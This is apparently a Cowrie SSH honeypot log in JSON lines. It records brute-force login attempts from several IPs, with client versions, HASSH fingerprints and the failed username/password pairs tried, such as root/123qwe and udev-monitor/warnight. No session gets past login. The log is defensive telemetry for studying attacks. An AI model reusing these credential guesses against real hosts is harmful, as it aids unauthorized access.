{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:4b:01:f1:39:32:53:4b:52:44:41:02:1d:f1:ec:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcceVlbAkjQRPJ0P/clQBKid7rBH1B98eKMFIvapvoLdKovYbEAfCHXIkdhaQZfTzZu4JhFCdBgbTlCkTLHcUtHlHHghIkxK5t4em2e6kJ1J/WarSKWEXXwf5QZLufGyDcOLIJvwUA9I8qwrAgfn/cBSndh7k5L31i1KyRH1wwNPea+TYbJIM6pWcZTDkNYrf8F9NVUL9YADiD2cmoHPuGeQ9owFBNOHMQekj0kgcvgm7AbDMyzVhYU6p/dJh0IILlN1O8/FqfSlidwPBosgJCaSfoLf11CDg36D7erceTG02EkUaGhUCCaK2RmSQjHJxQX79DcrWZfV2W40Nlkr63QKy8XvHMPbRItOcBXLytJZq2Be82R93Q3Pl5Bnd4IKWnsWELOPZZUA47V2udB23RlAW52vsecv1mvEt2NvdnjrX2F7qn9fzO0ArhO3qiW94KSOtjsyOHxC3Ubggvx6kHRbc4+iYwUF/e8NKkhhaMwsnWUk3+Lp1A8LkaKg0NHToYqjvzZcD9ocy2hBYhzVQnHtbi5oE+RBK5GLPUGz/+PeNbzipXKm2mo/CX+x7tnRDn++1XEeLATR1rdhUTMzEzEoiYzByeeMUEyz9fGBkiaG59k0RlfA/CQKP+bGQA0LSLAG44InKramHjvSzBKw8zMZM+3/+1qRNJ4UFAJLXd5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:4b:01:f1:39:32:53:4b:52:44:41:02:1d:f1:ec:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.979254Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:4b:01:f1:39:32:53:4b:52:44:41:02:1d:f1:ec:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcceVlbAkjQRPJ0P/clQBKid7rBH1B98eKMFIvapvoLdKovYbEAfCHXIkdhaQZfTzZu4JhFCdBgbTlCkTLHcUtHlHHghIkxK5t4em2e6kJ1J/WarSKWEXXwf5QZLufGyDcOLIJvwUA9I8qwrAgfn/cBSndh7k5L31i1KyRH1wwNPea+TYbJIM6pWcZTDkNYrf8F9NVUL9YADiD2cmoHPuGeQ9owFBNOHMQekj0kgcvgm7AbDMyzVhYU6p/dJh0IILlN1O8/FqfSlidwPBosgJCaSfoLf11CDg36D7erceTG02EkUaGhUCCaK2RmSQjHJxQX79DcrWZfV2W40Nlkr63QKy8XvHMPbRItOcBXLytJZq2Be82R93Q3Pl5Bnd4IKWnsWELOPZZUA47V2udB23RlAW52vsecv1mvEt2NvdnjrX2F7qn9fzO0ArhO3qiW94KSOtjsyOHxC3Ubggvx6kHRbc4+iYwUF/e8NKkhhaMwsnWUk3+Lp1A8LkaKg0NHToYqjvzZcD9ocy2hBYhzVQnHtbi5oE+RBK5GLPUGz/+PeNbzipXKm2mo/CX+x7tnRDn++1XEeLATR1rdhUTMzEzEoiYzByeeMUEyz9fGBkiaG59k0RlfA/CQKP+bGQA0LSLAG44InKramHjvSzBKw8zMZM+3/+1qRNJ4UFAJLXd5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.984569Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:30.010320Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":33534,"dst_ip":"159.203.135.109","dst_port":22,"session":"c99b3f16b949","protocol":"ssh","message":"New connection: 46.165.56.242:33534 (159.203.135.109:22) [session: c99b3f16b949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:39.471628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:39.476885Z","src_ip":"46.165.56.242","session":"c99b3f16b949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:40.255547Z","src_ip":"46.165.56.242","session":"c99b3f16b949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456RTYfghVBN","message":"login attempt [root/456RTYfghVBN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:40.710875Z","src_ip":"46.165.56.242","session":"c99b3f16b949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:41.866134Z","src_ip":"46.165.56.242","session":"c99b3f16b949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":33168,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba241263de7f","protocol":"ssh","message":"New connection: 144.91.86.102:33168 (10.17.0.5:22) [session: ba241263de7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:53.136515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:53.141222Z","src_ip":"144.91.86.102","session":"ba241263de7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:53.234387Z","src_ip":"144.91.86.102","session":"ba241263de7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2010","message":"login attempt [root/root2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:53.638101Z","src_ip":"144.91.86.102","session":"ba241263de7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:54.733998Z","src_ip":"144.91.86.102","session":"ba241263de7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":49248,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1c62813bd80","protocol":"ssh","message":"New connection: 138.99.80.102:49248 (159.203.135.109:22) [session: d1c62813bd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:13.486998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:13.491409Z","src_ip":"138.99.80.102","session":"d1c62813bd80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:13.599698Z","src_ip":"138.99.80.102","session":"d1c62813bd80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:14.064208Z","src_ip":"138.99.80.102","session":"d1c62813bd80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:15.176391Z","src_ip":"138.99.80.102","session":"d1c62813bd80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":44138,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f6e89baa224","protocol":"ssh","message":"New connection: 36.95.194.51:44138 (159.203.135.109:22) [session: 7f6e89baa224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:24.105231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:24.111258Z","src_ip":"36.95.194.51","session":"7f6e89baa224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:24.385852Z","src_ip":"36.95.194.51","session":"7f6e89baa224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:25.516302Z","src_ip":"36.95.194.51","session":"7f6e89baa224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:26.793540Z","src_ip":"36.95.194.51","session":"7f6e89baa224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":36428,"dst_ip":"159.203.135.109","dst_port":22,"session":"f87e6820d53d","protocol":"ssh","message":"New connection: 46.165.56.242:36428 (159.203.135.109:22) [session: f87e6820d53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:49.372729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:49.377200Z","src_ip":"46.165.56.242","session":"f87e6820d53d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:49.534461Z","src_ip":"46.165.56.242","session":"f87e6820d53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf!@","message":"login attempt [root/asdf!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:50.178509Z","src_ip":"46.165.56.242","session":"f87e6820d53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:51.334697Z","src_ip":"46.165.56.242","session":"f87e6820d53d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":32431,"dst_ip":"10.17.0.5","dst_port":22,"session":"f55ef31cee2a","protocol":"ssh","message":"New connection: 27.74.248.52:32431 (10.17.0.5:22) [session: f55ef31cee2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:53.012249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:53.081389Z","src_ip":"27.74.248.52","session":"f55ef31cee2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:53.471314Z","src_ip":"27.74.248.52","session":"f55ef31cee2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe","message":"login attempt [root/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:55.285664Z","src_ip":"27.74.248.52","session":"f55ef31cee2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:39:56.828768Z","src_ip":"27.74.248.52","session":"f55ef31cee2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":51816,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa94f88487ed","protocol":"ssh","message":"New connection: 200.108.174.4:51816 (159.203.135.109:22) [session: aa94f88487ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:08.139044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:08.143843Z","src_ip":"200.108.174.4","session":"aa94f88487ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:08.288830Z","src_ip":"200.108.174.4","session":"aa94f88487ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:08.905959Z","src_ip":"200.108.174.4","session":"aa94f88487ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:10.056476Z","src_ip":"200.108.174.4","session":"aa94f88487ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":45792,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5193d199f9d","protocol":"ssh","message":"New connection: 144.91.86.102:45792 (10.17.0.5:22) [session: d5193d199f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:30.007278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:40:30.013815Z","src_ip":"144.91.86.102","session":"d5193d199f9d","protocol":"ssh"}
